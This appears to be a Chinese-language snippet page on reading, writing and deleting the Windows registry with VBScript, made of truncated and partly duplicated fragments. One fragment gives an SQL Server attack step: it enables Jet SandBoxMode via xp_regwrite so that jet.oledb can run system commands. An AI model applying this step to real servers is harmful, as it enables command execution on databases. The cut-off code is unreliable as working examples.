vbscript Registry 注册表操作实现代码(读写删除)
VBScript Code:' Create a WSH Shell object: Set wshShell = CreateObject( "WScript.Shell" ) ' ' Create a new key: wshShell.RegWrite "HKCU\TestKey\", ""
VBScript Code:' Create a WSH Shell object: Set wshShell = CreateObject( "WScript.Shell" ) ' ' Create a new key: wshShell.RegWrite "HKCU\TestKey\", ""
首先开启沙盘模式: exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 然后利用jet.oledb执行系统命令 select *
右键菜单中添加CMD HERE 实现代码如下:Set WshShell=CreateObject("Wscript.Shell")WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\CLASSES\Folder\shell\cmd here\",""WshS
一些sql扩展xp_regaddmultistringxp_regdeletekey 删除键名xp_regdeletevalue 删除键值xp_regenumkeys 枚举xp_regenumvaluesxp_regread 对于xp_regremovemultistringxp_regwrite